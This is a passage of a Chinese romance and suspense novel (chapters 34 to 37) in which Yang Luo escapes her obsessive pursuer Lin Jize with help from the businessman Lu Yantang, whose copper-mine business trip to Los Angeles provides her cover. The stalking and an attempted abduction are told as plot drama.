王慧:“别看亭亭,我自己在你房间里看到的片子。你真是翅膀硬了,这么大的事儿你说都不跟我说一声,还玩儿失踪,我就知道你那几天不接电话不正常,要不是我自己发现,你还想骗我到什么时候?”
杨珞心里咯噔一声,她分辨不出母亲对自己的事情知道到了哪一步,试探问道:“我……骗你什么了?”
王慧:“你在国外遇到这么大的危险,你怎么能不跟妈妈说一声呢,你知道我多担心你吗?”
杨母又急又气,愣是红了眼眶。唐亭给杨珞使了个眼色,她扯谎将林纪泽的事儿瞒过去了。
杨珞这才放下心来。
“妈,我这不是怕你着急才没说嘛,我没事儿,现在活蹦乱跳的,你看。我们回家说吧,我真的没事儿。”
毕竟看到女儿活生生站在自己面前了,那股子怒气自然也消散了。
唐亭扶着王慧回家,杨珞转身去车里拿东西,却在回头的那一刻对上了一双眼睛。
她脊背一凉,呼吸仿佛在那一刻静止了。
林纪泽。
39. 第34章
是林纪泽。
杨珞头皮一炸,她分明看见林纪泽的目光是从母亲的背影上移过来的。
她僵硬的站在原地,风吹起她的裙边,一阵凉意从脚底升起。
杨珞害怕,却不知所措。
林纪泽没有任何动作,他坐在车里,隔着宽阔的马路静静地看着杨珞。
看她许久未见的模样,看她发现自己的恐惧。
林纪泽别开目光,升起车窗,很快离开了。
没有任何动作,杨珞的心在看不到林纪泽的踪迹时终于落了下来。
她预想过很多种林纪泽出现的方式,发泄的、愤怒的,可没想过如此平静。
越是如此,她心里越是害怕。
杨珞心事重重的回到家,即便做足了样子,还是蛮不过杨母的眼睛。
晚饭后杨母找到杨珞,开门见山:“珞珞,最近是不是出什么事儿了?”
杨珞:“没有啊,妈,怎么突然说这个。我挺好的,就是前两天受伤,估计还没恢复过来吧。”
杨母若有所思的坐在一旁,她发现杨珞情绪不对劲已经不是一天两天了,之前总觉得是因为分手失恋,难受一阵也正常,但如今小半年过去了,女儿心里似乎压着千愁万绪,却对自己闭口不言。
再加上前些日子失联,不知是不是母女连心,她总觉得事情没有杨珞说的那么简单。可唐亭也是同样的说辞,放到以前,唐亭是不会在大事儿上瞒着自己的。
“珞珞啊,你现在长大了,在外面要是遇到什么不开心,不好的事儿,你要告诉妈妈的。妈妈想让你快快乐乐的,不想看你愁眉苦脸。”
杨珞背对着妈妈,鼻头一酸,弯着的腰久久没有直起来,片刻后长长出了口气,转过身来,脸上挂一抹牵强的笑:“哪有,我这不挺开心的吗。”
杨妈妈走上前去:“我自己生的姑娘,我还看不出来吗?你开不开心,骗的了别人,骗不了我。”
杨珞似乎没有再狡辩的余地,低着头不说话。
“是因为和陈桥分手吗?这么久了,你还放不下吗?”
杨珞无声扯了扯嘴角,如果她人生最大的不幸仅仅是失恋该多好。与陈桥的那段感情,早已无法回头,她也早就认清现实了。可叫她如何告诉妈妈林纪泽的纠缠和折磨?她不能说,只好抱歉的借话下坡。
“没有放不下,就是时不时会难受。”
杨母信了,急忙拉着她的手:“你们在一起这么多年,真的不能回头吗?小陈不是那么狠心的人,如果真的放不下……”
“妈。”杨珞打断她:“不提过去的事了,已经分开了,就没有回头路了。”
杨珞如何倔的性子,王慧是知道的,她没有再劝,沉默半晌,感慨道:“日子是自己的,总要走出来。你爸爸当年走的时候,我也以为我活不下去了,过了这么多年,不还照样好好地。过去的事儿咱们不提了,以后要好好地,别让妈妈担心。”
杨珞转身抱住妈妈,眼泪倘了下来,趴在妈妈肩头无声的哭泣。
去洛杉矶的事情许久没有新的消息,杨珞在家歇了几日,也很少出门。杨珞好几天夜里都梦到了林纪泽那日在马路边望着自己的眼神,半夜醒来总是出了一身的冷汗。她心里忐忑不安,和唐亭商量后还是把妈妈送回了老家。
王慧毕竟在老家更熟悉,认识的人也更多,况且她以前是在政府单位上班的公务员,虽说退休了,但毕竟熟识的人里也有几个说得上话的。总比在西京人生地不熟的强。
送走杨母后杨珞又开始陷入了无尽的纠结。
洛杉矶之行,到底要不要去。
她怀疑那晚陆砚堂给自己下了迷魂汤,稀里糊涂的就答应了。可仔细想想,走也走不了,要是被林纪泽发现了,下场只会更惨。
唐亭本要借陆砚堂的手让自己离开,后来闭口不提这件事也是顾虑太多。
陆砚堂的手,怎么能想搭就搭的上。
他一时兴起不打紧,可自己搭上的就太多了。
万般无奈之际,杨珞竟接到了程进的电话。
“杨小姐,一切都好吗?”
杨珞正坐在窗边发呆,闻声顿时精神了起来,她探头朝窗外望去,可空荡荡的,什么都没。
“我都好,程总,有事吗?”
程进低声道:“杨小姐,不用客气,叫我阿进就好。”
杨珞知道程进是让自己随着陆砚堂叫,可她不是不知好歹的人,不敢妄攀亲昵。
“杨小姐,明天上午十点钟你会因为头痛再次住院,住院的地址在西郊的私立医院。”
杨珞皱眉。“我不明白。”
程进:“要是有人问起来,你就这么说。”
杨珞细细思索着这些话。
程进:“晚上的时候收拾一些简单的行李,后天一早会有一辆车在楼下接您。”
杨珞:“去哪儿?”
程进:“洛杉矶。”
杨珞欲言又止,她不知如何向程进说明自己的担忧。
反倒是程进读懂了她片刻的沉默。
“陆先生都安排好了,我来替他转达。杨小姐,说句僭越的话,您大可放心把自己交给陆先生,他不是爱开玩笑的人。”
程进很快挂了电话,杨珞还未从这些话里反应过来。
他不是爱开玩笑的人。
程进是在替陆砚堂表态。
杨珞起身靠在窗台前,看着楼下郁郁葱葱的一片,一对老夫妇挽手走在路上,步履蹒跚。
杨珞对程进并不了解,只知道他经常出现在陆砚堂身边。
可即便是程进说出的这些话,或许也有几分可信。
第二天上午,楼下真的大张旗鼓来了一辆救护车。但车子的配置并非寻常公立医院的,杨珞悄悄躲在楼上,看他们演了一出好大的戏。
唐亭也被惊动了,问她楼下是怎么回事儿。
杨珞心里也没底:“是在演戏给谁看吧。”
说完又反应过来:“是在演戏给林纪泽看吧,我们应该一直被监视着。”
这点唐亭并不意外,她长年以来都唐家的手段极为敏感,这种程度的监视,早就察觉了。是怕杨珞心里害怕才一直没告诉她。
但陆砚堂愿意花这份功夫,唐亭是没想到的。
唐亭不禁去看杨珞的脸色,只见她盯着外头,像是在看什么,又像是什么也没看。
一份摸不清的情意,一份探不明的态度。
又何止是陆砚堂一个人。
杨珞也只怕是身在局中。
唐亭无奈一笑,她这个旁观者看得清楚,可又能怎么样呢,路还要自己走才能走明白。
花园里,林纪泽盯着一支垂头丧气的玫瑰,一片花瓣摇摇欲坠
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。
他一坐就是好几个小时,看着那支花垂下头来,看着花瓣渐渐松动。
终于,那花瓣在一阵微风中落了下来,掉在地上。
自打杨珞那天来过之后,这个花园林纪泽再也没打理过。
他在这个花园里寄予了太多不切实际的期望,妄图能感动她,能让她高兴。
可回头再看才发现一切都这么可笑。
凋零的花园死气沉沉,林纪泽无精打采的坐回摇椅上,目光空空的看着前方。
刘明进来时就看到他这幅模样,又或者说,已经连着好几天他都是这幅模样了。
“二公子。”
林纪泽懒懒的抬头。
“什么事?”
刘明:“杨小姐又去医院了,应该是陆砚堂派人把她接走的,去了西郊的医院,把守的很严,我们的人现在进不去。”
林纪泽:“因为什么去的医院?”
刘明:“还不清楚,但是应该不严重,医院那里没有大动静。”
林纪泽点了点头,没有再说话。
刘明站在一旁,有些心疼的看着他。
满院子的花草谢的谢,枯的枯。
林纪泽捡起那片凋零的玫瑰花瓣,看了许久。
“我要带她回港城。”
刘明虽没说话,但悬着的心总算落下来了。
这几日林纪泽萎靡不振,没人知道他想干什么。无论如何,下面的人都在等他的决定。
“我原本想着就这么算了吧。”
林纪泽像是在自言自语。
他摆弄着手里枯萎的花瓣,像是透着它看到了别的什么。
就这么算了吧。
她宁愿死都不愿意顺从自己一点点。
三年的梦醒了,还有什么意义?
“可我又去看了她一眼。就那一眼,我还是放不下。”
刘明从林纪泽的一番感慨中听出了他的心意。
“您真的准备带杨小姐港城?”
林纪泽将花瓣扔在地上,站起身来。
“这儿有太多她眷恋的东西了,日日想着,看着,怎么能把心腾干净?我要带她去一个新的地方,那里只有我一个人。”
刘明从他的话里听出一丝不寒而栗的疯魔。可却还是硬着头皮应了下来。
“好,我这就去办。”他顿了下,“还有件事儿。”
林纪泽少见刘明这样犹犹豫豫,回头朝他看过去。
“林尊儒要来西京。”
林纪泽的脸色终于变了。
“你说什么?”
刘明一脸惶恐:“今天上午林尊儒突然联系了我,让我转达您,他后天下午会到西京,让您务必准时到机场去接他。”
“他来干什么?!”
“我……我不知道。”
按理说,刘明这样的身份不配直呼林家大公子的名字。可他跟着林纪泽,林纪泽对他恨之入骨却不得不受他桎梏,所以在林纪泽面前也对林尊儒少有尊敬。
林纪泽眼里闪过一丝隐隐的恐惧,而后很快涌现出恨意和愤怒。
他一脚踹翻了身边的躺椅,木头噼里啪啦的散了一地。
刘明大气不敢出一声,随着林纪泽发泄。
他知道这是无可奈何的事。
林纪泽平静后的第一句话:“把杨珞带回来。”
40. 第35章
杨珞听了陆砚堂的话,临走前的这几天都没有出门。
这几日总是程进在和她联系,转达陆砚堂的意思,她好奇陆砚堂为什么不亲自跟她说,又或者说,她想知道陆砚堂到底在干什么。
好几次都要拨通他的电话了,但想了想还是算了。
他不亲自说,定有不说的理由。
如果贸然和他联系,说不定会坏了事。
杨珞在忐忑不安中度过了一天又一天,终于接到了程进的最后指示,要准备离开了。
临行前,杨珞又仔细确认了一遍行李箱里的东西,陆砚堂交代要尽量简洁。她把不必要的都拿了出去,心想这真的活像逃难。
直到这一刻,杨珞都在怀疑自己做的对不对。
可似乎也没有选择的余地了。
唐亭看着杨珞满腹心事的样子,也知道说再多也无用。她把手轻轻搭在杨珞肩上,用了捏了一下。
“去吧,反正结果也不会更差。”
唐亭的话像是拨开了她心底的混沌迷雾,是啊,反正结局也不会更差。
一点的时候,程进来电话了。
“杨小姐,可以下楼了。楼下有一辆黑色的现代轿车,车牌尾号是576,司机会送你去机场。”
杨珞挂了电话往窗外看了一眼,是辆很不起眼的小轿车,还蒙着一层很久没洗车的灰尘。
杨珞一刻不敢耽搁,唐亭见她下楼,往她手上带了一个镯子。
“这里面有定位,别摘,起码我能知道你在哪儿。”
杨珞怔了片刻,用力点头。
唐亭:“妈妈那边我会跟她交代好,保持联系。”
杨珞:“好,交给你了。”
杨珞提着箱子离开,可走了两步,鼻头忍不住酸了起来,回头抱住唐亭。
她像是逃难一样离开,去依靠一个虚无缥缈的男人。杨珞从未觉得自己有一天会落到这般境地。
唐亭毫无保留的感受到了她的难过和恐惧,那种巨大的无助感再次压倒过来。
但凡她有一点点办法,也不会让杨珞走这条路。
“走吧,没事儿,我等着你回来。说不定等你回来,一切都过去了。”
杨珞擦干了眼泪,强扯出一个笑容,她不想这时候让唐亭担心。
楼下有一个司机在等着,杨珞没有在陆砚堂身边见过他,又仔细确认来了两遍车牌号才上车。
中午的太阳刺眼无比,但杨珞心底里更是着急。
她预想的离开总在深更半夜,却没成想是大白天。
——
医院楼道,刘明躲在安全出口一侧,看着门口打着瞌睡的两个保镖。
“一会儿你们两个过去,另外两个,趁乱把杨珞带出来。”
他说着交给了旁边的人一条毛巾。
“要是不听话,就把这个捂在她口鼻上。但是注意别伤着她,不然有你好看的。”
十分钟后,刘明躲过陆砚堂的保镖,一脸茫然的从医院跑出来。
烈日照在他他的脸上,刘明眯着眼睛,片刻后神色转为愤怒,一脚踹翻了旁边的垃圾桶。
“操/你/妈的陆砚堂!”
林纪泽接到刘明电话的时候,正在赶往机场的路上。
“我们被耍了,杨小姐根本不在医院,房间里是空的!”
林纪泽:“你说什么?”
“我们被陆砚堂耍了!”
林纪泽压下自己的愤怒:“找,挖地三尺也要找到她。”
车开到机场,林纪泽心里烦透了。
一边是失踪的杨珞,一边是马上要出现在自己面前的林尊儒。
他心不在焉的往前走,看着墙上秒针的转动。
播报声响起,港城到西京的乘客已经落地,不过十分钟,乘客开始往外陆陆续续的走。
林纪泽目不转睛的盯着前方的人群,距离上次见林尊儒,已经是一年前了。
杨珞从机场下了车,按照程进给她的指示直奔安检口。
不知是不是走得太急,她的心跳越来越快。
她警惕的环顾四周,在出口看到一个消瘦挺拔的身影,人群中那么的显眼。
杨珞心跳停滞了一秒,反应过后转身跑开,却一头撞上了匆忙赶路的行人。
林纪泽的手机又响了。
是刘明。
“喂。”
“我们找不到杨小姐,所有可能的地方我都派人去找了。“
一阵乒乒乓乓的声响,林纪泽被引的转过身去。
杨珞看着眼前被自己撞的散落满地的行李,心虚的朝一侧看过去。
就那一秒,四目相对。
林纪泽握着手机,电话那边在说什么他已经听不清了,似乎周围所有的声音都安静了下来。只剩下眼前杨珞慌乱的样子和恐惧的目光。
“我找到她了。”
林纪泽抬腿往杨珞走去,刚迈出步子,杨珞就慌忙跑开了。
“阿纪!”
一道低沉粗哑的声音在林纪泽身后响起。
他的脚步仿佛被定住了。
阿纪是他的乳名,可从林尊儒的嘴里叫出来却不带一点亲昵,尽是威胁压迫的气势。
林纪泽回头,林尊儒已经踱步到他面前,甚至比他还要高半个头,目光里藏着审视的意味。
一个转身的功夫,杨珞已经到了安检口,程进在那里等着她。
林纪泽看着杨珞的背影,紧紧攥着拳头,无可奈何的接受了一切。
程进接住杨珞的行李:“杨小姐,陆先生已经在前面等着了。”
杨珞脸色慌张:“我看到林纪泽了,就在那边。”
程进胸有成竹:“放心,他追不来。”
杨珞此时才恍然大悟,原来一切的安排都不是白做的。
杨珞跟在程进后面,过了安检,远远朝那边看了一眼,再没看到林纪泽的身影,悬着的心才落了下来。
杨珞到了休息室,发现其他人悉数都在了。周淼带着墨镜正翻杂志,见到杨珞过来冲她热情的招呼,看到她身边的程进时愣了一瞬。
杨珞过去坐到了周淼身边。
“怎么这么慢?”
“堵车,耽误了一会儿。”
周淼吃了口vip候机室的小点心,笑道:“跟着大老板出差就是不一样哈,全员头等舱,我还是头回享受这种待遇呢。”
杨珞心不在焉的笑了笑:“那你可得好好享受。”
杨珞在人群中找到了陆砚堂,他身边跟着程进和
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老七,除此之外还有陵川法务部的几个领导。陆砚堂穿着一身简单的暗色西装,这个颜色在人群中并不显眼,可似乎是一种奇怪的磁场,遮掩不了他的耀眼。
陆砚堂侧目迎上了她的目光,两人心有灵犀般,简单对视后便移开。
杨珞心底里止不住的泛起了一丝涟漪,他一手策划了自己的出逃,却在人前默契十足的保持着距离。
杨珞要收回目光,却不巧又对上了程进的眼睛。程进倒是恭恭敬敬的冲她点了下头,杨珞之后微笑回礼。
刚放松下来,肩膀突然被人一戳,周淼一脸鸡贼的看着他,问:“程助对你挺客气呀。”
杨珞心口一提,面上不露声色道:“你去看他,他对你更客气。”
周淼笑了笑,没有继续问下去。她想起了张凌睿的警告。想到这儿,扭头朝张凌睿看了一眼,这厮已经窝在椅子上睡着了。
平常就爱出风头的人,到了大佬面前也得夹着尾巴做人。
飞机是下午四点起飞的,杨珞来的晚,和律所的小刘坐在了一起。
她紧绷了好几天的心终于在飞机起飞的那一刻落了下来,巨大的困意袭来,不久就睡了过去。
可这一觉睡的并不安稳,梦里杂乱无章,醒来时天已经黑了。
一旁的小刘正在看电影,见她醒了也不看了,拉着她聊天。
“这头等舱的位置就是比经济舱坐着舒服,还是陆总大方。”
陆砚堂坐在前两排的位置。杨珞抬头就看到小刘直勾勾的朝前看,边看边偷摸的对杨珞说:“你瞧陆总,连后脑勺都那么好看。”
杨珞笑她:“你是觉得他的钞票好看吧。”
小刘:“换做别的老板那肯定是钞票好看,不过陆总,他就算吃软饭,我都愿意养他,嘿嘿。”
杨珞笑了笑,不知怎么接这话。
小刘:“像陆总这种有钱多金又有颜的人,还没老婆,可不就是留给我们这些人做梦呢。诶,你说他为什么不结婚呀,他都三十五了。”
杨珞一怔,三十五。
她好像头一回知道陆砚堂的年纪。
大了自己整整十岁。
两人这番折腾,原来对彼此的了解知之甚少。
杨珞笑道:“我怎么知道,你问他去。”
小刘歪了歪头:“算喽,我可不敢。”
杨珞本打算继续睡觉,可眯了一会儿,睡不着了,她朝窗外看了去,云层之上一片漆黑,什么都没有。
发了会儿呆,起身去洗手间上了个厕所,出来一打开门就看到站在门口的陆砚堂。
她愣了一下。
陆砚堂:“睡不着。”
杨珞让开路来,让他进去,擦肩而过时陆砚堂突然问:“你和你那个同事,在后头议论什么呢。”
杨珞不可思议的看他,想起小刘犯花痴的样子,忍俊不禁,说:“你后脑勺上长眼睛了?”
“长眼倒不至于,但也不瞎。”
杨珞轻笑,抬头瞥他,两人就这么站在飞机的走廊上,如偷/情般窃窃私语起来。
“没聊什么。”
就是你花枝招展,勾引无知少女。
陆砚堂显然不信,饶有趣味的盯着她看,杨珞却不再说话,转身离去。
41. 第36、37章
次日中午飞机落地,洛杉矶负责接待的人安排了车队来接。
陆砚堂带着程进先行离开了,剩下的人先到宾馆安顿下来。
杨珞和张凌睿坐挨着,虽然这次她来洛杉矶纯粹是为了逃难,但毕竟打的是工作的幌子,出于礼貌还是问了问这次出差的主要任务。
张凌睿:“陆总准备在西京开发一片铜矿,就在青流山附近,这次就是来谈设备的。”
杨珞想起什么,问:“清流山那片的铜矿不是在林纪泽手里吗?他来西京后拿下的第一块地就是那儿的,陆砚堂怎么会打算动他的东西?”
张凌睿斜眼看她一眼:“陆砚堂?敢直呼boss大名,看样子你跟陆总挺熟。”
杨珞:“陆总……”
张凌睿:“出门在外,说话小心点。”
杨珞不由得捏紧了背包,这话里的意味够她揣摩的了,但杨珞知道是为了自己好。
张凌睿:“铜矿的事儿具体的我不清楚,地皮的事儿是他们争的,我们负责我们的部分就行。也就是些合同和其他乱七八糟的。”
杨珞了然,之前从未了解过陆砚堂在铜矿的事情上和林纪泽有什么交集,更没有在林纪泽那里听到什么风声。
林纪泽并不好惹,陆砚堂绝不会贸然做赔本的事,他和林纪泽之间一定发生了什么自己不知道的事。
权贵大佬的争斗,她这个小喽啰并不关心。若纯粹是为了利益也罢,就怕把自己夹带上去。
杨珞到了酒店后给唐亭和妈妈打电话报了平安。
杨母开口就是一顿埋怨:“你怎么又一声不吭的出国了,工作就忙成这样吗?都不知道跟妈妈说一声。真是天高皇帝远,我也管不了你了!”
杨珞:“紧急任务,我不是让唐亭替我跟你说了吗?放心吧,等我回去我给你带礼物。”
杨母仍是满心怨气,但毕竟是自己的女儿,心疼还是更多一些。
往后两天的行程安排的十分紧密,陆砚堂整日忙着和洛杉矶那边的接头人谈判,身边的专家换了一批又一批,张凌睿和法务的人跟在后头审材料看合同。按理说铜矿的开采并不算什么新科技,杨珞不清楚陆砚堂为什么非要到美国来谈设备。她跟张凌睿说了自己的疑惑,张凌睿也对此事也早有怀疑,但他们终究不是核心成员,只能靠猜的。
“我估计不只是设备这么简单,你瞧这两天陆总身边跟着的人,可不单单是搞技术的。最起码还有美国这边的融资。”
“融资?”
“融资还是我能看到的最浅层的东西。他们这些商业大鳄,尤其是陆砚堂在西京这种地头蛇式的产业,背后错综复杂。”
“可清流山那一带,也就一个铜矿啊,据我了解没有别的值钱玩意儿。”
“这我就不知道喽,我要是知道,我也当老板去了。”
杨珞和张凌睿聊完还是一头雾水,这个项目杨珞并没有一开始就跟进,前两天的时候也帮不上忙,第二天才被张凌睿拉了进来。杨珞做了些简单的辅助工作,听张凌睿感慨:“能从美国佬的嘴里抢来这么大一块骨头,还是得陆砚堂啊。”
杨珞:“什么意思?你弄明白了?”
杨珞对其中的利益并不清楚,张凌睿解释:“现在高端设备还是欧美和德国在垄断,这次陆砚堂亲自来,就是要敲开这个口子。”
杨珞:“怎么敲?”
张凌睿:“技术的口子还得技术敲,我听说陆砚堂在美国养了一批人才,难怪这几天他见的人七杂八杂,这里头混着不少事儿呢。清流山只怕是个引子,他要的可不只是那个小小的铜矿。只不过那个铜矿从林改姓陆,也是板上钉钉的事儿了。”
杨珞把审好的合同递给张凌睿,若有所思的看向窗外,如果纯是生意场上的事儿,为什非得是林纪泽的铜矿?
张凌睿转头问她:“你希望这铜矿姓什么呀?”
杨珞讶异回头,一时不知怎么回答。
张凌睿立马换上一副玩笑样:“逗你呢,瞧你吓得。”
两天后的凌晨,杨珞在床上辗转反侧睡不着,一旁的周淼已经有了轻微的鼾声。
她蹑手蹑脚下床,准备给自己倒杯水喝,却听到外头一阵嘈杂。
杨珞悄悄开了门,透着缝隙往外面看过去。只见走廊上有许多人人来来回回,陵川几个领导住的地方更是热闹。
杨珞开了口除去,却没走近,见到几个技术人员和几个谈判的人个个脸上挂着黑眼圈,神色各异。
是他们公司内部的事儿,和律所无关。
杨珞正要回去,却被程进瞧见了。
程进朝她走了过来:“杨小姐,还没睡啊。”
杨珞:“没,这是怎么了?”
程进:“合作的事儿出了点岔子,这会儿大家都着急。”
杨珞想起没看到陆砚堂,问:“你们陆总呢?”
程进:“在房间,他这两天累坏了。”
杨珞和程进告别后往另一侧走去,她睡不着,打算去餐厅要点吃的,路过尽头陆砚堂的房间时却见房门开着。屋内似乎只开了一盏昏黄的暗灯,在缝隙处透出丝丝亮来。
杨珞推门进去,试探性的朝里看了一眼,就听到里头想起疲惫低沉的声音。
“你来了。”
杨珞定住脚步,以为他在等别人。
杨珞:“是我。”
陆砚堂:“我知道。”
杨珞:“你在等我?”
陆砚堂:“除了你,谁敢不打招呼就推我的门。”
杨珞往里走去,只见他躺在贵妃榻上,微微磕着眼睛,西装还没换下,身上染着疲倦之气。
陆砚堂:“帮我倒杯热水吧。”
杨珞到桌边倒腾了一下热水壶,倒出半杯来,又往里兑了点凉水。陆砚堂从卧榻上起身,目光移到杨珞的背影上。她的黑发随意挽了起来,几屡落在肩膀上,穿着宽松的T恤睡衣,纤瘦的身体藏在其中。
杨珞把热水递过去:“听说你抢了林纪泽的铜矿。”
陆砚堂接过,饮下半杯:“怎么,心疼他?”
杨珞面不改色:“你还会调侃我,说明事情还不算太糟。”
陆砚堂轻笑:“阿进倒什么都跟你说。”
杨珞:“有吗?不都是替你传话?”
门外又又一行人急匆匆地过去,这情况免不了要来和陆砚堂商量,杨珞不想惹出流言蜚语。
“我要回去了,早些休息,晚安。”
杨珞走到门口,陆砚堂叫住她。
“你有没有想过,没有林纪泽的日子,你要怎么过?”
杨珞倏地回头,心里有什么东西涌上来。
“你是不是在做什么事情?”
陆砚堂看着她,却没有回答。
杨珞折返到他面前:“告诉我。”
陆砚堂微微一笑。
“早点睡吧,晚安。”
杨珞满腹心事的回到房间,周淼睡的香甜,她却彻夜未眠。
往后的几天,陆砚堂依旧不怎么露面。杨珞明白他就是来工作的,可那晚陆砚堂的话又总让自己觉得并不单纯。
谈业务的跟着陆砚堂满美国跑,法务的人在酒店闲的只剩睡觉。
杨珞实在憋闷,趁着傍晚落日的风景去街边买了杯咖啡。
美国和法国是不一样的风情。这里的行人来去更加匆忙,没有法兰西的松弛。
杨珞的心情难得放空,享受这一刻的闲适和异国风情。她点了杯美式,坐在街边的咖啡店里,傍晚的风抚过她的头发,别具一番风情。
一个五六岁的小女孩被一头黑发的杨珞吸引,她颠颠的跑过去,羞怯怯的冲着杨珞问道:“AreyouJapanese?”(你是日本人吗?)
杨珞笑着弯下身子,她的英文不算好,但基本的沟通还不成问题。
“No,I''mChinese,DoyoulikeChina?”(不,我是中国人,你喜欢中国吗?)
小女孩笑了笑:“Yes,Ilikekungfu.”(是的,我喜欢功夫。)
“Doyougooutalone?WhereareMomandDad?”(你一个人出门吗?爸爸妈妈在哪里?)
“They''redating.”(他们在约会。)
杨珞朝着小女孩的目光看过去,之间一对年轻夫妇正在旁边愉快的聊天,看到杨珞的目光热情的朝她招了招手。
小女孩朝角落里看了一眼,问:“Isheyourboyfriend?”(他是你男朋友吗?)
杨珞一愣:“Who?”(谁?)
小女孩伸手一指:“Thebigbrotherwhokeepswatchingyou.”(就是那个一直偷看你的大哥哥。)
杨珞脸色忽的变了,立马朝小女孩指的方向看过去,只看到一个三十多岁的男人盯着自己,在自己回头的瞬间别开了目光。似乎意识到被发现,男人很快放下手里的报纸离开了。
杨珞回身抓起自己的包。
“Gobacktoyourparents.Ihavetogofirst.”(快回去找你的父母,我有急事要先走了。)
杨珞说完便大步跑开了。
她直奔酒店,一点不敢逗留。
她知道自己被监视了,一直被监视着。
杨珞转过一个路口,突然被人一把抓住胳膊。
“啊——”
杨珞尖叫起来,疯狂摔打着手里的包。
“杨小姐,是我!”
杨珞在听清楚声音后终于回过了神,定睛一看,发现在陆砚堂身边的人。
她不知道这人叫什么名字,只知道他叫老七。
老七被杨珞张牙舞爪一阵打,胳膊立马挂了彩,呲牙咧嘴道:“诶呦,您长得挺瘦,劲儿可真不小呀。”
杨珞惊吓之余十分抱歉。
“对不起,我不知道是你,你怎么在这儿?”
老七笑笑:“我来接你啊,瞧你刚才那逃命的样子。”
杨珞:“我刚才被人跟踪了,我不认那个人。”
老七淡定如斯:“我知道。”
杨珞睁大眼睛。
老七:“你一直被跟踪着呢,打从落地开始就有眼睛盯着你呢。”
杨珞在凉风中打了个冷颤。
原来所谓的天下太平不过是她的自以为是,老七轻飘飘的戳破了她眼前的遮蔽。
“谁在跟踪我?”
老七笑了笑,却不说明白:“这您得问陆先生。”
杨珞不再说话,一辆车停在路边,老七朝那边打了个招呼:“杨小姐,走吧,我送你回去。”
杨珞回到酒店,心不在焉。
周淼:“这么快就喝完咖啡了?你应该去旁边的商场逛逛,你看我昨天下午买的包,比国内专柜便宜好多呢。”
周淼热情的展示她的LV包,但杨珞的心思却丝毫不在这儿,连装也装不出来。
杨珞:“你出门的时候有发现什么奇怪的人吗?”
周淼一脸疑惑:“奇怪的人?没有啊,你遇见变态了?”
杨珞摇头:“没有,包挺好看的。”
周淼撇撇嘴:“你怎么怪怪的啊,心事重重的。对了,刚才陆总回来了,还带了好些个人,不知道在吵什么,会议室声音大得很。”
杨珞抬头朝会议室的方向望了一眼,又垂了下来。
跟踪自己的人到底是谁,老七说得问陆砚堂。
如果是非要去问陆砚堂的话,那自己也大概猜得着是谁了。
陆砚堂知道林纪泽在干什么,也一直对他有所防备,但自己的事情却不显山不露水。杨珞心里直打颤,像一只被蒙上眼睛的兔子,跑去问陆砚堂时,他又什么都不说,只会卖关子。
杨珞心里一团乱麻,丝毫没有发现周淼在一旁偷偷观察她。周淼有些聪明在身上,她瞧着杨珞这几日反常的举动,和听到陆砚堂时的反应,那些以往的好奇和猜测愈演愈烈。
周淼知道,杨珞和陆砚堂一定有着不同寻常的关系。但她不确定这关系是好是坏。
周淼自认为和杨珞的关系虽不算十分亲近,但在旁人看来也称得上是朋友。
若是好的,自己也不求着沾光。就怕是坏的,自己不能平白倒霉。
周淼递了杯茶过去:“现在都等着陆总出来呢,在这儿耗了六七天了,也不知道陵川到底在谈什么。你说陆总到底想干什么呀?”
杨珞接过茶喝了一口:“张凌睿不是说他在谈铜矿的事儿吗?好像还有融资什么的。”
周淼:“张凌睿就知道捡人家剩下的消息,他懂什么呀,你肯定知道的比他多呀。”
杨珞:“我要知道的比他多,那早该我去当主任了。”
周淼笑了声,低头去喝茶。
杨珞不
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经意间抬头瞥见周淼刻意掩饰的样子,心里忽的一紧。
周淼的话里有意无意间透出了别的意味。
这种意味在张凌睿的话里也透出来过,只不过张凌睿给她的的是提醒,周淼给她的是试探。
杨珞默不作声的喝茶,继续陪着周淼谈天扯地。
这世界上没有不透风的墙,人人都闻着味儿打探点消息。是何动机都不奇怪,打从林纪泽出现在自己身边后,那些往日亲密的朋友一个个都唯恐对自己避之不及,杨珞就知道这个道理。
大约半个小时后,会议厅的人终于散了。杨珞和周淼凑到走廊上瞧了瞧,只见陵川几个领导脸上带了许久的阴郁之气终于散去,成了如释重负的雀跃。
杨珞和周淼对视一眼,知道这几天的辛苦有收获了。
陆砚堂是最后一个走出来的,他在门口同一个金发男子握了手,临走前还在交谈着。陆砚堂转身的间隙扫过人群,在角落里看到朝这边张望的杨珞。
她同其他人一样,带着好奇和探寻的目光,猜测着这场谈判的结果。
又同其他人不一样,但他也说不出到底哪里不一样。
匆匆一眼,陆砚堂的身影便又消失了。
杨珞心底里竟升起了一丝难以察觉的落寞。
洛杉矶之行合作成功的消息很快出来了,大伙都忙着讨论。
正式的合同签署要去澳洲考察完才能定下来,剩下的事儿法务就要开始忙起来了。
律所的人在下午的时候收到了完整的资料,开始紧锣密鼓的补课。
杨珞发现张凌睿的小道消息还是有点灵通的,虽然说的不全,但也中了几分。
陆砚堂要做的不仅仅是清流山铜矿,而是一个完整的产业链,涉及多方利益。合同的内容非常之多,难怪张凌睿如此上心,这一块肥肉就够整个律师吃上两年了。
杨珞对自己的私事毫无头绪,但公事在手也容不得耽误。
陵川的几个领导在合作谈成后就先行回去了。剩下的主要是法务和业务部的几个人,还要跟着陆砚堂再去一趟新西兰。
新西兰此时正是冬天,杨珞和周淼、张凌睿几个人在商场里去买冬衣。因为是错季节购买,许多地方没有卖的。
杨珞和周淼带着张凌睿跑了好几家商场,张凌睿对逛街深恶痛绝,半天下来已经一步路都不想走了。
“张主任,就您这样的怎么陪女朋友逛街啊。”
周淼打趣张凌睿倒是一点不给他留面子。
张凌睿抬了抬眉毛:“我从来不陪着逛街,我只管转账。”
周淼:“看不出来这么大方啊,我都羡慕你女朋友了。”
张凌睿摆摆手:“别羡慕,你可当不了我女朋友。”
热卖商场里少有反季的衣服,几人本就对这里不熟悉,逛了许久也没逛出个所以然来。张凌睿嚷嚷着要回去,说打算到了新西兰再买。但周淼怕出了机场冷,一定要先准备好。
两人争执许久,杨珞和小刘看着两人斗嘴,甚是无奈。
最后还是杨珞出来打圆场:“这样,我们再到街边的小店里看看,那边服装店卖的杂,说不定能买着羽绒服。要是还没有,咱们就打道回府。”
其余三人异口同声的答应了。
洛杉矶街头别有一番风情。
几个人在真在一家不起眼的服装店里找到了反季的衣服。
小刘买了件貂绒大衣,其余三个人买了件羽绒服。
小刘兴奋道:“这貂是真的吗?我会不会在美国捡漏到好东西啊?”
杨珞没买过貂,但这道这东西世界范围内稀有,这点价钱肯定假,笃定了摇了摇头。
周淼则是伸手摸了一下,道:“这手感,太假了。你就当个厚棉衣穿吧。”
